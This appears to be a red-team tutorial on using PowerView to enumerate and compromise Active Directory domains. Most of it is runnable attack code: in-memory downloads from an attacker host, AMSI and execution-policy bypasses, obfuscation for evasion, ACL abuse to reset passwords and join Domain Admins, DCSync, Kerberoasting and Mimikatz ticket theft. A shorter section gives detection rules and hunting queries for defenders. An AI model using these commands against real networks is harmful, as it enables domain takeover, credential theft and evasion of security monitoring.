
PowerView: Advanced Active Directory Enumeration and Exploitation
Comprehensive technical guide to PowerView for Active Directory reconnaissance, privilege escalation, and lateral movement including domain enumeration, ACL abuse, and trust exploitation.
Introduction
PowerView is a PowerShell-based Active Directory enumeration framework used extensively in penetration testing and red team operations. It wraps complex LDAP queries into intuitive cmdlets that expose misconfigurations, trust relationships, permission hierarchies, and attack paths.
Unlike net.exe and built-in Windows utilities that provide basic information, PowerView surfaces the security implications of AD configurations: GenericAll permissions on user objects enabling password resets, Group Policy Objects with weak ACLs, or constrained delegation settings exploitable for lateral movement.
PowerView operates entirely in PowerShell, using legitimate Windows APIs and LDAP queries. It doesn't drop files to disk, doesn't require admin privileges for most enumeration, and generates traffic similar to routine domain controller queries.
Exploiting Complexity
PowerView doesn't exploit software vulnerabilities—it exposes the attack surface created by AD's complex permission model. Nested group memberships, ACL chains, and trust relationships create privilege escalation paths that administrators rarely see without tooling.
Technical Background
PowerSploit Framework Integration
PowerView is distributed as part of the PowerSploit post-exploitation framework, specifically within the Recon module. Understanding its position within this ecosystem helps contextualize its capabilities and integration with other offensive PowerShell tools.
PowerSploit Module Structure:
PowerSploit/
├── Recon/
│ ├── PowerView.ps1 ← Primary AD enumeration
│ ├── Get-ComputerDetail.ps1
│ └── Invoke-Portscan.ps1
├── Exfiltration/
│ ├── Invoke-Mimikatz.ps1
│ └── Get-Keystrokes.ps1
├── Persistence/
│ ├── New-UserPersistenceOption.ps1
│ └── Add-Persistence.ps1
├── Privesc/
│ ├── Get-System.ps1
│ └── PowerUp.ps1
└── CodeExecution/
├── Invoke-Shellcode.ps1
└── Invoke-WmiCommand.ps1Active Directory Query Mechanisms
PowerView leverages multiple Windows APIs and protocols to gather information:
| Technology | Purpose | PowerView Usage |
|---|---|---|
| LDAP | Directory queries | Primary enumeration method |
| SAMR | Security Account Manager Remote | User/group enumeration |
| DRSUAPI | Directory Replication Service | DCSync operations |
| WMI | Windows Management Instrumentation | Remote system queries |
| NetAPI32 | Network API calls | Session enumeration, share discovery |
| Active Directory Web Services (ADWS) | PowerShell AD module backend | Alternative query method |
LDAP Search Filter Examples:
# Basic user query
(objectCategory=user)
# Domain admins with specific attributes
(&(objectCategory=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=com))
# Kerberoastable accounts
(&(objectCategory=user)(servicePrincipalName=*))
# ASREPRoastable accounts
(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
# Computers with unconstrained delegation
(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))Core Cmdlet Categories
PowerView organizes functionality into logical categories:
Domain Information:
Get-Domain/Get-NetDomain- Domain metadataGet-DomainController- Domain controller enumerationGet-Forest/Get-NetForest- Forest informationGet-DomainPolicy- Password policies, Kerberos settings
User Enumeration:
Get-DomainUser/Get-NetUser- User account detailsGet-DomainUserEvent- User login eventsFind-DomainUserLocation- Locate where users are logged in
Group Enumeration:
Get-DomainGroup/Get-NetGroup- Group informationGet-DomainGroupMember- Group membershipGet-DomainManagedSecurityGroup- Groups with manager permissions
Computer Enumeration:
Get-DomainComputer/Get-NetComputer- Computer objectsFind-DomainShare- Network share discoveryGet-NetSession- Active sessions on computers
ACL/Permission Analysis:
Get-DomainObjectAcl/Get-ObjectAcl- Object permissionsFind-InterestingDomainAcl- Identify exploitable ACLsAdd-DomainObjectAcl- Modify permissions (requires privileges)
GPO Analysis:
Get-DomainGPO/Get-NetGPO- Group Policy ObjectsGet-DomainGPOLocalGroup- Local admin assignments via GPOFind-GPOLocation- Where GPOs apply
Trust Enumeration:
Get-DomainTrust/Get-NetDomainTrust- Domain trustsGet-ForestTrust- Forest trustsGet-DomainForeignUser- Users with cross-domain privileges
Installation and Setup
Download and Import Methods
Standard Download and Import:
# Download PowerView from GitHub
IEX(New-Object Net.WebClient).DownloadString(
'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1'
)
# Alternative: Download to disk first
$url = 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1'
Invoke-WebRequest -Uri $url -OutFile C:\Temp\PowerView.ps1
# Import module
Import-Module C:\Temp\PowerView.ps1
# Verify loaded functions
Get-Command -Module PowerView | Measure-Object
Get-Command -Name Get-Domain*Clone Entire Repository:
# Clone full PowerSploit repository
git clone https://github.com/PowerShellMafia/PowerSploit.git
cd PowerSploit
# Import all modules
Import-Module .\PowerSploit.psd1
# Or import specific module
Import-Module .\Recon\PowerView.ps1Fileless In-Memory Loading:
# Direct in-memory execution (most stealthy)
IEX(New-Object Net.WebClient).DownloadString(
'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1'
)
# Alternative using Invoke-WebRequest
IEX(IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')
# Load from local web server (better opsec)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')
# Verify loaded without touching disk
Get-Command Get-DomainEncoded Download:
# Base64 encode PowerView for download
$url = 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1'
$script = (New-Object Net.WebClient).DownloadString($url)
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)
# Execute encoded script
powershell.exe -EncodedCommand $encodedBypassing Windows Defender AMSI:
# AMSI Bypass technique 1 (patch memory)
$a=[Ref].Assembly.GetTypes();
ForEach($b in $a) {
if ($b.Name -like "*iUtils") {
$c=$b
}
};
$d=$c.GetFields('NonPublic,Static');
ForEach($e in $d) {
if ($e.Name -like "*Context") {
$f=$e
}
};
$g=$f.GetValue($null);
[IntPtr]$ptr=$g;
[Int32[]]$buf=@(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
# Now load PowerView
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')
# AMSI Bypass technique 2 (obfuscation)
$w=[System.Reflection.Assembly]::('Load'+'WithPartialName')('System.Core');
$x=[System.Reflection.BindingFlags]'NonPublic,Static';
$y=$w.GetType('Microsoft.Win32.UnsafeNativeMethods');
$z=$y.GetField('cachedDevmode',$x);
$z.SetValue($null,0)
# Load PowerView after bypass
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')Obfuscated Loading to Evade Detection:
# Use Invoke-Obfuscation to obfuscate PowerView
# First install Invoke-Obfuscation
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
Import-Module ./Invoke-Obfuscation/Invoke-Obfuscation.psd1
Invoke-Obfuscation
# In Invoke-Obfuscation menu:
# SET SCRIPTPATH C:\Path\To\PowerView.ps1
# TOKEN\ALL\1
# OUT C:\Path\To\ObfuscatedPowerView.ps1
# Load obfuscated version
IEX(Get-Content C:\Path\To\ObfuscatedPowerView.ps1 -Raw)
# Alternative: Manual function name randomization
$script = (Get-Content PowerView.ps1 -Raw)
$script = $script -replace 'Get-Domain','Get-D0main'
$script = $script -replace 'Get-NetUser','Get-N3tUser'
IEX $scriptExecution Policy Bypass
# Bypass execution policy for current session
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
# Alternative bypasses
powershell.exe -ExecutionPolicy Bypass -File PowerView.ps1
powershell.exe -ExecutionPolicy Unrestricted -File PowerView.ps1
powershell.exe -c "IEX(Get-Content PowerView.ps1 -Raw)"
# Read file content and execute (no execution policy check)
Get-Content PowerView.ps1 | Out-String | IEXDomain Enumeration Techniques
Basic Domain Information
Enumerate Domain Details
# Get current domain information
Get-Domain
# Output shows:
# - Forest name
# - Domain controllers
# - Domain mode
# - Domain SID
# - Domain functional level
# Get domain for specific domain
Get-Domain -Domain child.parent.com
# Get domain SID
Get-DomainSID
# Get domain controller information
Get-DomainController | Select-Object Name, IPAddress, OSVersion, IsGlobalCatalog
# Get forest information
Get-Forest
Get-ForestDomain # List all domains in forestEnumerate Domain Policies
# Get domain password policy
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
# Output includes:
# - MinimumPasswordLength
# - PasswordComplexity
# - MaximumPasswordAge
# - LockoutBadCount
# - ResetLockoutCount
# Get Kerberos policy
Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
# Output includes:
# - MaxServiceAge (TGS lifetime)
# - MaxTicketAge (TGT lifetime)
# - MaxRenewAge (TGT renewable lifetime)
# - MaxClockSkew (time synchronization tolerance)Enumerate Domain Trusts
# Get all domain trusts
Get-DomainTrust
# Get detailed trust information
Get-DomainTrust | Select-Object SourceName, TargetName, TrustType, TrustDirection
# Trust types:
# - ParentChild: Parent-child domain relationship
# - External: External domain trust
# - Forest: Forest trust
# - MIT: Kerberos realm trust
# Trust directions:
# - Inbound: Other domain trusts this domain
# - Outbound: This domain trusts other domain
# - Bidirectional: Mutual trust
# Get forest trusts
Get-ForestTrust
# Map all trusts recursively
Get-DomainTrustMappingUser Enumeration
Basic User Enumeration
# List all domain users
Get-DomainUser | Select-Object samaccountname, description, pwdlastset
# Get specific user details
Get-DomainUser -Identity administrator
# Find users with specific attributes
Get-DomainUser -Properties samaccountname, pwdlastset, logoncount, badpwdcount
# Get only enabled users
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE | Select-Object samaccountname
# Get disabled users
Get-DomainUser -UACFilter ACCOUNTDISABLE
# Find users with password not required
Get-DomainUser -UACFilter PASSWD_NOTREQD
# Find users with password never expires
Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD
# Search users by description
Find-UserField -SearchField Description -SearchTerm "password"Privileged User Discovery
# Get Domain Admins
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName
# Get Enterprise Admins
Get-DomainGroupMember -Identity "Enterprise Admins" -Domain parent.com
# Get all privileged groups
Get-DomainGroup -AdminCount | Select-Object samaccountname
# AdminCount=1 indicates protected object
# Objects in AdminSDHolder protected groups
# Get users with AdminCount set
Get-DomainUser -AdminCount | Select-Object samaccountname, memberof
# Find users with SPN (Kerberoastable)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
# Find users without Kerberos pre-auth (ASREPRoastable)
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
# Find users with delegation enabled
Get-DomainUser -AllowDelegation
# Find users with constrained delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegatetoPassword and Account Analysis
# Check for users with passwords in description
Get-DomainUser -Properties samaccountname,description |
Where-Object {$_.description -match 'pass|pwd|password'}
# Find accounts with passwords set in UserPassword attribute
$FormatEnumerationLimit=-1
Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,userPassword |
ForEach-Object {
Add-Member -InputObject $_ NoteProperty 'Password' `
"$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru
} | Select-Object samaccountname, password
# Find accounts with old passwords
Get-DomainUser -Properties samaccountname, pwdlastset |
Where-Object {$_.pwdlastset -lt (Get-Date).AddDays(-365)} |
Select-Object samaccountname, @{N='DaysSincePasswordChange';E={(New-TimeSpan -Start $_.pwdlastset).Days}}
# Find accounts that don't require a password
Get-DomainUser -UACFilter PASSWD_NOTREQD -Properties samaccountname, useraccountcontrol
# Check for accounts with reversible encryption
Get-DomainUser -Properties samaccountname,useraccountcontrol |
Where-Object {$_.useraccountcontrol -band 128}Finding User Locations
# Find where specific user is logged in
Find-DomainUserLocation -UserIdentity "administrator"
# Find all Domain Admin sessions
Find-DomainUserLocation -UserGroupIdentity "Domain Admins"
# Fast method - check high-value targets only (DCs, file servers)
Invoke-UserHunter -Stealth
# Comprehensive hunt for Domain Admins
Invoke-UserHunter -GroupName "Domain Admins"
# Check for local admin access on found machines
Invoke-UserHunter -CheckAccess
# Alternative using Get-NetSession
Get-DomainComputer | ForEach-Object {
Get-NetSession -ComputerName $_.dnshostname
}
# Find users logged on specific computer
Get-NetLoggedon -ComputerName DC01.domain.comGroup Enumeration
# List all groups
Get-DomainGroup | Select-Object samaccountname, description
# Get specific group details
Get-DomainGroup -Identity "Domain Admins"
# Get all admin groups
Get-DomainGroup -AdminCount | Select-Object samaccountname
# Get group members
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName, MemberSID
# Get nested group members (recursive)
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
# Get groups a user belongs to
Get-DomainGroup -UserName "john.doe"
# Find groups with specific users
Get-DomainGroupMember -Identity "Remote Desktop Users"
# Get local groups on computers
Get-NetLocalGroup -ComputerName DC01 -Recurse
Get-NetLocalGroupMember -ComputerName DC01 -GroupName "Administrators"Computer Enumeration
# List all domain computers
Get-DomainComputer | Select-Object dnshostname, operatingsystem, lastlogon
# Get domain controllers
Get-DomainComputer -Properties dnshostname,operatingsystem |
Where-Object {$_.operatingsystem -match 'Server'} |
Where-Object {$_.operatingsystem -match 'Domain Controller'}
# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained | Select-Object dnshostname, samaccountname
# Find computers with constrained delegation
Get-DomainComputer -TrustedToAuth |
Select-Object dnshostname, samaccountname, msds-allowedtodelegateto
# Ping sweep for live computers
Get-DomainComputer | Where-Object {Test-Connection -Count 1 -ComputerName $_.dnshostname -Quiet}
# Find computers by operating system
Get-DomainComputer -OperatingSystem "*Windows 10*"
Get-DomainComputer -OperatingSystem "*Server 2019*"
# Find machines in specific OU
Get-DomainComputer -SearchBase "OU=Servers,DC=domain,DC=com"Share and File Enumeration
# Find all shares in domain
Find-DomainShare
# Find readable shares
Find-DomainShare -CheckShareAccess
# Find interesting files
Find-InterestingDomainShareFile
# Search for specific file types
Find-InterestingDomainShareFile -Include *.txt,*.pdf,*.doc*,*.xls*
# Search shares for passwords
Find-InterestingDomainShareFile -Include *password*,*pass*,*pwd*,*cred*
# Enumerate shares on specific computer
Get-NetShare -ComputerName FileServer01
# Get file server computers
Get-NetFileServerACL and Permission Analysis
Identifying Exploitable ACLs
GenericAll Permission Exploitation:
# Find objects with GenericAll permissions
Find-InterestingDomainAcl -ResolveGUIDs |
Where-Object {$_.ActiveDirectoryRights -match "GenericAll"} |
Select-Object IdentityReferenceName, ObjectDN, ActiveDirectoryRights
# Check specific user's permissions on all objects
$userSID = (Get-DomainUser -Identity "john.doe").objectsid
Get-DomainObjectAcl -ResolveGUIDs |
Where-Object {$_.SecurityIdentifier -eq $userSID -and $_.ActiveDirectoryRights -match "GenericAll"}
# GenericAll allows:
# - Reset password
# - Modify attributes
# - Add to groups
# - Modify group membership
# Exploit GenericAll on user object
# Reset user password
$password = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity target_user -AccountPassword $password
# Add user to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members "john.doe"
# Modify SPN for Kerberoasting
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='HTTP/fake.domain.com'}
# Request TGS ticket
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/fake.domain.com"
# Export tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'GenericWrite Permission Exploitation:
# Find GenericWrite permissions
Find-InterestingDomainAcl -ResolveGUIDs |
Where-Object {$_.ActiveDirectoryRights -match "GenericWrite"}
# GenericWrite allows modifying most attributes but not security-critical ones
# Exploitation techniques:
# 1. Modify ScriptPath for logon script execution
Set-DomainObject -Identity target_user -Set @{scriptpath='\\attacker.com\share\evil.bat'}
# 2. Modify ProfilePath for DLL hijacking
Set-DomainObject -Identity target_user -Set @{profilepath='\\attacker.com\share\profile'}
# 3. Add SPN for Kerberoasting
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='HTTP/fake.domain.com'}
# 4. Modify HomeDirectory
Set-DomainObject -Identity target_user -Set @{homedirectory='\\attacker.com\share'}
# 5. Target computer objects - modify msDS-AllowedToActOnBehalfOfOtherIdentity
# For resource-based constrained delegation (RBCD)
$computer = Get-DomainComputer -Identity "target-pc"
$attacker = Get-DomainComputer -Identity "attacker-pc"
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($attacker.objectsid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject -Identity $computer.distinguishedname -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}WriteDACL Permission Exploitation:
# Find WriteDACL permissions
Find-InterestingDomainAcl -ResolveGUIDs |
Where-Object {$_.ActiveDirectoryRights -match "WriteDacl"}
# WriteDACL allows modifying the object's ACL
# This can grant ourselves GenericAll or other permissions
# Add GenericAll permission for current user on target object
Add-DomainObjectAcl -TargetIdentity "target_user" -PrincipalIdentity "john.doe" -Rights All
# Verify new permissions
Get-DomainObjectAcl -Identity "target_user" -ResolveGUIDs |
Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser -Identity "john.doe").objectsid}
# Now exploit GenericAll permission
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)
# Grant DCSync rights (requires WriteDACL on domain object)
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity "john.doe" -Rights DCSync
# Perform DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.com /user:Administrator"'WriteOwner Permission Exploitation:
# Find WriteOwner permissions
Find-InterestingDomainAcl -ResolveGUIDs |
Where-Object {$_.ActiveDirectoryRights -match "WriteOwner"}
# WriteOwner allows changing object's owner
# New owner gets full control
# Change owner to current user
Set-DomainObjectOwner -Identity "target_user" -OwnerIdentity "john.doe"
# As owner, grant ourselves GenericAll
Add-DomainObjectAcl -TargetIdentity "target_user" -PrincipalIdentity "john.doe" -Rights All
# Now exploit GenericAll
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)
# Alternative: Chain WriteOwner → WriteDACL → GenericAll
# 1. Take ownership
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity "john.doe"
# 2. Grant WriteDACL to ourselves
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "john.doe" -Rights WriteDacl
# 3. Grant GenericAll to ourselves
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "john.doe" -Rights All
# 4. Add ourselves to Domain Admins
Add-DomainGroupMember -Identity "Domain Admins" -Members "john.doe"AdminSDHolder Abuse
# AdminSDHolder protects privileged accounts
# Permissions on AdminSDHolder propagate to protected objects every 60 minutes
# Check current AdminSDHolder ACL
Get-DomainObjectAcl -SearchBase "CN=AdminSDHolder,CN=System,DC=domain,DC=com" -ResolveGUIDs
# If we have WriteDACL on AdminSDHolder, grant ourselves GenericAll
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=com" \
-PrincipalIdentity "john.doe" -Rights All
# Wait for SDProp to run (every 60 minutes) or force it
# Invoke-SDPropagator cmdlet (requires Domain Admin)
# After propagation, we have GenericAll on all protected objects
Get-DomainUser -AdminCount | ForEach-Object {
Set-DomainUserPassword -Identity $_.samaccountname -AccountPassword $password
}GPO Analysis and Exploitation
Enumerating Group Policy Objects
# List all GPOs
Get-DomainGPO | Select-Object displayname, gpcfilesyspath
# Get GPOs applied to specific computer
Get-DomainGPO -ComputerIdentity "WS01.domain.com"
# Get GPOs applied to specific user
Get-DomainGPO -UserIdentity "john.doe"
# Find GPOs that modify local group memberships
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName, GPOType
# Find computers where specific user/group is local admin via GPO
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators |
Where-Object {$_.ObjectName -eq "john.doe"}
# Check for GPOs with weak permissions
Get-DomainGPO | ForEach-Object {
Get-DomainObjectAcl -Identity $_.Name | Where-Object {
$_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner'
}
}GPO Abuse for Privilege Escalation
# If we have write access to a GPO that applies to computers with interesting users logged in
# 1. Find GPO we can modify
$editableGPO = Get-DomainGPO | ForEach-Object {
$acl = Get-DomainObjectAcl -Identity $_.Name -ResolveGUIDs
if ($acl | Where-Object {$_.SecurityIdentifier -eq $userSID -and $_.ActiveDirectoryRights -match 'WriteProperty|GenericAll'}) {
$_
}
}
# 2. Find where the GPO applies
Get-DomainOU -GPLink $editableGPO.cn | Select-Object distinguishedname
# 3. Modify GPO to add scheduled task for immediate execution
# This requires accessing the SYSVOL share and modifying GPT.INI
# Or use tools like SharpGPOAbuse
# Example using SharpGPOAbuse (compile and run)
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount john.doe --GPOName "Vulnerable GPO"
# 4. Force GPO update on target machine
Invoke-Command -ComputerName TARGET-PC -ScriptBlock {gpupdate /force}Kerberos Attack Integration
Kerberoasting with PowerView
# Find Kerberoastable accounts
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, memberof
# Filter for high-value targets
Get-DomainUser -SPN | Where-Object {$_.memberof -match 'Domain Admins|Administrators'}
# Request TGS tickets using built-in PowerView function
Invoke-Kerberoast | Format-List
# Export for offline cracking
Invoke-Kerberoast -OutputFormat Hashcat | Out-File -FilePath kerberoast_hashes.txt
# Crack with Hashcat
hashcat -m 13100 -a 0 kerberoast_hashes.txt rockyou.txt --force
# Alternative: Target specific account
Invoke-Kerberoast -Identity sqlservice -OutputFormat JohnASREPRoasting
# Find accounts without Kerberos pre-authentication
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
# For ASREPRoasting, use Rubeus or GetNPUsers.py from Impacket
# PowerView identifies targets but doesn't perform the attack
# Rubeus (Windows)
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# Impacket (Linux)
python3 GetNPUsers.py domain.com/ -usersfile users.txt -dc-ip 10.10.10.10Unconstrained Delegation Abuse
# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained | Select-Object dnshostname, samaccountname
# If we compromise a computer with unconstrained delegation:
# 1. Wait for privileged user to authenticate
# 2. Extract TGT from LSASS
# 3. Perform pass-the-ticket attack
# Monitor for new tickets (requires local admin on unconstrained delegation machine)
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
# Import extracted ticket
Invoke-Mimikatz -Command '"kerberos::ptt [email protected]"'Detection and Blue Team Perspective
PowerView Detection Strategies
Network-Based Detection
LDAP Query Monitoring:
# Enable LDAP diagnostic logging on Domain Controllers
# Registry: HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics
# Set "15 Field Engineering" to 5
# Monitor for unusual LDAP queries
# PowerView generates patterns like:
# - High volume LDAP queries in short time
# - Queries for objectCategory=user with many attributes
# - servicePrincipalName queries (Kerberoasting recon)
# - userAccountControl bitmask queries
# Windows Event Logs to monitor:
# - Event ID 1644: LDAP query statistics
# - Event ID 2889: LDAP bind without SSL/TLS
# - Event ID 4662: Operation performed on objectSignature-Based Detection:
# Snort/Suricata Rules for PowerView
alert tcp any any -> any 389 (msg:"Possible PowerView LDAP Enumeration"; \
content:"objectCategory=user"; content:"servicePrincipalName"; \
threshold: type threshold, track by_src, count 10, seconds 60; \
sid:1000001;)
alert tcp any any -> any 389 (msg:"Possible PowerView AdminCount Query"; \
content:"adminCount=1"; \
sid:1000002;)Host-Based Detection
PowerShell Logging:
# Enable Script Block Logging (Event ID 4104)
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" \
-Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWORD
# Enable Module Logging
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" \
-Name "EnableModuleLogging" -Value 1 -PropertyType DWORD
# Enable Transcription
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" \
-Name "EnableTranscripting" -Value 1 -PropertyType DWORD
# Monitor for PowerView indicators
# Event ID 4104 will contain script block text
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} |
Where-Object {$_.Message -match 'Get-Domain|Get-NetUser|Invoke-Kerberoast'}AMSI Detection:
# AMSI will flag PowerView by default
# Look for Event ID 1116 (Windows Defender)
# Hunt for AMSI bypass attempts
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; ID=1116} |
Where-Object {$_.Message -match 'AmsiScanBuffer|amsiInitFailed'}Behavioral Detection
Unusual Account Behavior:
# Monitor for:
# 1. Single account querying many objects in short time
# 2. Workstation accounts performing LDAP queries
# 3. Service accounts authenticating from unexpected hosts
# 4. Multiple failed LDAP binds followed by success
# Sysmon Event ID 3 (Network Connection) to DC on port 389/636
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=3} |
Where-Object {$_.Message -match 'DestinationPort.*389|636' -and $_.Message -match 'DestinationIp.*<DC-IP>'}
# Elevated Kerberos ticket requests
# Event ID 4769: Kerberos service ticket was requested
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4769} |
Where-Object {$_.Properties[8].Value -eq '0x17'} # RC4 encryption (often used by Kerberoasting)Threat Hunting Queries
Hunting with PowerShell:
# Hunt for PowerView artifacts in PowerShell history
Get-ChildItem -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine" -Recurse |
Select-String -Pattern "Get-Domain|Get-NetUser|Invoke-Kerberoast|Find-InterestingDomainAcl"
# Check for suspicious PowerShell downloads
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} |
Where-Object {$_.Message -match 'IEX.*DownloadString|IWR.*PowerView|WebClient.*PowerView'}
# Find evidence of credential dumping preparation
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4662} |
Where-Object {$_.Message -match 'DS-Replication-Get-Changes-All'} # DCSync permissionUsing Splunk:
index=windows EventCode=4104
| search "Get-Domain*" OR "Get-NetUser*" OR "Invoke-Kerberoast*" OR "Find-*DomainAcl*"
| table _time, ComputerName, User, Message
| sort -_time
index=windows EventCode=4769 TicketEncryptionType=0x17 ServiceName!="krbtgt"
| stats count by ServiceName, IpAddress, AccountName
| where count > 10
index=windows EventCode=3 DestinationPort=389 OR DestinationPort=636
| stats count by SourceIp, DestinationIp
| where count > 100Defensive Countermeasures
# 1. Enable Advanced Auditing
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable
# 2. Configure SACL on sensitive AD objects
# Monitor AdminSDHolder, Domain Admins group, GPOs
# 3. Deploy honeypot accounts
# Create fake service accounts with SPNs
# Alert when these accounts are queried or tickets requested
# 4. Implement Microsoft ATA/Defender for Identity
# Provides behavioral analysis and anomaly detection
# 5. Harden LDAP
# Require LDAP signing and channel binding
# Limit anonymous LDAP queries
# 6. Protected Users Group
# Add high-value accounts to Protected Users security group
# Prevents certain delegation and downgrade attacksOperational Security (OpSec)
Stealthy Enumeration Techniques
# Use -Credential parameter for alternative accounts
$cred = Get-Credential
Get-DomainUser -Credential $cred
# Limit query scope to reduce noise
Get-DomainUser -LDAPFilter "(samaccountname=admin*)" -Properties samaccountname
# Use specific domain controllers
Get-DomainUser -Server dc02.domain.com
# Throttle queries with delays
Get-DomainComputer | ForEach-Object {
Get-NetSession -ComputerName $_.dnshostname
Start-Sleep -Seconds 5
}
# Query through alternative channels (if LDAP is monitored)
# Use net.exe, dsquery.exe, or Active Directory module insteadAvoiding Detection
# Obfuscate function names
$script = Get-Content PowerView.ps1 -Raw
$script = $script -replace 'Get-Domain','Get-D0m41n'
IEX $script
# Run from memory only
IEX(IWR 'http://10.10.14.5/PowerView.ps1' -UseBasicParsing)
# Use proxy-aware techniques
$proxy = New-Object System.Net.WebProxy('http://proxy:8080')
$wc = New-Object System.Net.WebClient
$wc.Proxy = $proxy
IEX($wc.DownloadString('http://10.10.14.5/PowerView.ps1'))
# Constrained Language Mode bypass
# If CLM is enforced, some techniques won't work
# Use unmanaged PowerShell or C# implementations insteadReferences
MITRE ATT&CK Techniques
- T1087.002 - Account Discovery: Domain Account - User enumeration
- T1069.002 - Permission Groups Discovery: Domain Groups - Group enumeration
- T1482 - Domain Trust Discovery - Trust mapping
- T1018 - Remote System Discovery - Computer enumeration
- T1033 - System Owner/User Discovery - Session enumeration
- T1135 - Network Share Discovery - Share enumeration
- T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification - ACL abuse
- T1484.001 - Domain Policy Modification: Group Policy Modification - GPO abuse
Official Documentation
- PowerView Documentation - PowerSploit Wiki - Official docs
- PowerView GitHub Repository - Source code
Security Resources
- Harmj0y's Blog - PowerView Deep Dives - Author's blog
- Active Directory Security Blog - AD security research
- HackTricks: PowerView - Usage guide
Next Steps
After PowerView enumeration:
- Analyze findings to identify privilege escalation paths
- Map attack paths from current position to Domain Admin
- Exploit identified ACL misconfigurations for privilege escalation
- Leverage trust relationships for lateral movement across domains
- Combine with credential dumping tools like Mimikatz for complete domain compromise
- Explore related Active Directory techniques:
